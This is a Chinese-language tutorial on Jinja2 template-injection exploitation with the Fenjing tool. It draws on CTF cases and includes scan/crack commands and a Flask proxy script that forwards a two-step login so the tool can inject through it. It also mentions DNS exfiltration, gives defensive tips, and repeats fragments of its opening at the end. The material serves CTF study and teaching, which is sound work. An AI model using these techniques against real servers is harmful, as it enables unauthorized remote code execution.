Jinja2 SSTI漏洞利用进阶：从Fenjing基础使用到高级代理技术<\/h1>

1. Jinja2 SSTI漏洞概述<\/h2>
Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞，当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时，攻击者可以注入恶意模板代码，导致远程代码执行。<\/p>

2. Fenjing工具基础使用<\/h2>
Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具，基础使用方法如下：<\/p>

2.1 基本扫描<\/h3>

fenjing scan -u "http:\/\/target-url\/"<\/span>
<\/span><\/span><\/code><\/pre>2.2 自动破解<\/h3>
fenjing crack -u "http:\/\/target-url\/"<\/span> -i "注入参数名"<\/span>
<\/span><\/span><\/code><\/pre>3. 进阶利用技术<\/h2>
3.1 有源码情况下的利用（国赛案例）<\/h3>
场景特点<\/strong>：<\/p>

无回显<\/li>
不出网<\/li>
有过滤<\/li>
但提供源码<\/li>
<\/ul>
利用步骤<\/strong>：<\/p>


修改源码<\/strong>：将无回显改为有回显<\/p>

修改模板渲染逻辑，使注入结果能够显示<\/li>
保持其他过滤条件不变<\/li>
<\/ul>
<\/li>

本地测试<\/strong>：<\/p>

在本地搭建修改后的环境<\/li>
使用Fenjing生成payload<\/li>
<\/ul>
<\/li>

实际攻击<\/strong>：<\/p>

将生成的payload编码后攻击真实环境<\/li>
注意payload可能需要URL编码或其他编码方式<\/li>
<\/ul>
<\/li>
<\/ol>
3.2 无源码情况下的代理技术（西湖论剑案例）<\/h3>
场景特点<\/strong>：<\/p>

注入点位于多步交互流程中（phone_number → password）<\/li>
无法直接通过单次请求完成注入<\/li>
Fenjing无法直接处理多步交互<\/li>
<\/ul>
解决方案<\/strong>：构建本地代理服务器<\/p>
3.2.1 代理服务器实现<\/h4>
from<\/span> flask import<\/span> Flask, request, Response
<\/span><\/span>import<\/span> requests
<\/span><\/span>
<\/span><\/span>app =<\/span> Flask(__name__)
<\/span><\/span>BASE_URL =<\/span> "http:\/\/target-url:port"<\/span>
<\/span><\/span>
<\/span><\/span>@app<\/span>.<\/span>route('\/'<\/span>, methods=<\/span>['POST'<\/span>])
<\/span><\/span>def<\/span> proxy<\/span>():
<\/span><\/span>    phone_number =<\/span> request.<\/span>form.<\/span>get('phone_number'<\/span>)
<\/span><\/span>    password =<\/span> request.<\/span>form.<\/span>get('password'<\/span>)
<\/span><\/span>    
<\/span><\/span>    if<\/span> not<\/span> phone_number or<\/span> not<\/span> password:
<\/span><\/span>        return<\/span> Response("Missing required parameters"<\/span>, status=<\/span>400<\/span>)
<\/span><\/span>    
<\/span><\/span>    try<\/span>:
<\/span><\/span>        # 第一步：提交phone_number<\/span>
<\/span><\/span>        login_response =<\/span> requests.<\/span>post(
<\/span><\/span>            f<\/span>"<\/span>{<\/span>BASE_URL}<\/span>\/login"<\/span>,
<\/span><\/span>            data=<\/span>{"phone_number"<\/span>: phone_number},
<\/span><\/span>            timeout=<\/span>10<\/span>
<\/span><\/span>        )
<\/span><\/span>        
<\/span><\/span>        if<\/span> login_response.<\/span>status_code !=<\/span> 200<\/span>:
<\/span><\/span>            return<\/span> Response(f<\/span>"Failed to call \/login. Status code: <\/span>{<\/span>login_response.<\/span>status_code}<\/span>"<\/span>, status=<\/span>500<\/span>)
<\/span><\/span>        
<\/span><\/span>        login_status =<\/span> login_response.<\/span>text.<\/span>strip()
<\/span><\/span>        
<\/span><\/span>        # 第二步：提交password<\/span>
<\/span><\/span>        cpass_response =<\/span> requests.<\/span>post(
<\/span><\/span>            f<\/span>"<\/span>{<\/span>BASE_URL}<\/span>\/cpass"<\/span>,
<\/span><\/span>            data=<\/span>{"password"<\/span>: password, "login_status"<\/span>: login_status},
<\/span><\/span>            timeout=<\/span>10<\/span>
<\/span><\/span>        )
<\/span><\/span>        
<\/span><\/span>        if<\/span> cpass_response.<\/span>status_code !=<\/span> 200<\/span>:
<\/span><\/span>            return<\/span> Response(f<\/span>"Failed to call \/cpass. Status code: <\/span>{<\/span>cpass_response.<\/span>status_code}<\/span>"<\/span>, status=<\/span>500<\/span>)
<\/span><\/span>        
<\/span><\/span>        cpass_result =<\/span> cpass_response.<\/span>text.<\/span>strip()
<\/span><\/span>        response_data =<\/span> f<\/span>"Login response: <\/span>{<\/span>login_status}<\/span>\n<\/span>Cpass response: <\/span>{<\/span>cpass_result}<\/span>"<\/span>
<\/span><\/span>        return<\/span> Response(response_data, status=<\/span>200<\/span>)
<\/span><\/span>    
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        return<\/span> Response(f<\/span>"An error occurred: <\/span>{<\/span>str(e)}<\/span>"<\/span>, status=<\/span>500<\/span>)
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> '__main__'<\/span>:
<\/span><\/span>    app.<\/span>run(host=<\/span>"127.0.0.1"<\/span>, port=<\/span>5000<\/span>)
<\/span><\/span><\/code><\/pre>3.2.2 代理使用流程<\/h4>

启动本地代理服务器<\/li>
使用Fenjing攻击本地代理
fenjing crack -u "http:\/\/127.0.0.1:5000\/"<\/span> -i phone_number
<\/span><\/span><\/code><\/pre><\/li>
代理服务器会将请求转发到真实目标，并处理多步交互<\/li>
获取最终注入结果<\/li>
<\/ol>
4. 关键注意事项<\/h2>


编码问题<\/strong>：<\/p>

生成的payload可能需要URL编码、HTML编码等<\/li>
根据目标环境选择合适的编码方式<\/li>
<\/ul>
<\/li>

过滤绕过<\/strong>：<\/p>

Fenjing内置了多种过滤绕过技术<\/li>
对于自定义过滤，可能需要手动调整payload<\/li>
<\/ul>
<\/li>

多步交互处理<\/strong>：<\/p>

对于需要多步交互的注入点，必须确保状态保持<\/li>
代理服务器需要正确处理会话状态（如cookie、token等）<\/li>
<\/ul>
<\/li>

不出网环境<\/strong>：<\/p>

考虑使用DNS外带、延时注入等技术<\/li>
可能需要结合其他漏洞如SSRF<\/li>
<\/ul>
<\/li>
<\/ol>
5. 防御建议<\/h2>

避免直接将用户输入嵌入模板<\/li>
对模板变量进行严格的过滤和转义<\/li>
使用沙箱环境执行模板渲染<\/li>
限制模板中可以访问的对象和方法<\/li>
<\/ol>
6. 总结<\/h2>
Fenjing工具在Jinja2 SSTI漏洞利用中非常有效，但在复杂场景下需要结合：<\/p>

源码修改（有源码时）<\/li>
代理技术（多步交互时）<\/li>
自定义payload调整（特殊过滤时）<\/li>
<\/ul>
通过本文介绍的进阶技术，可以应对大多数比赛和实际环境中的Jinja2 SSTI挑战。<\/p>

Jinja2 SSTI漏洞利用进阶：从Fenjing基础使用到高级代理技术<\/h1>

1. Jinja2 SSTI漏洞概述<\/h2> Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞，当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时，攻击者可以注入恶意模板代码，导致远程代码执行。<\/p>

2. Fenjing工具基础使用<\/h2> Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具，基础使用方法如下：<\/p>

3. 进阶利用技术<\/h2>

1. Jinja2 SSTI漏洞概述<\/h2>
Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞，当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时，攻击者可以注入恶意模板代码，导致远程代码执行。<\/p>

2. Fenjing工具基础使用<\/h2>
Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具，基础使用方法如下：<\/p>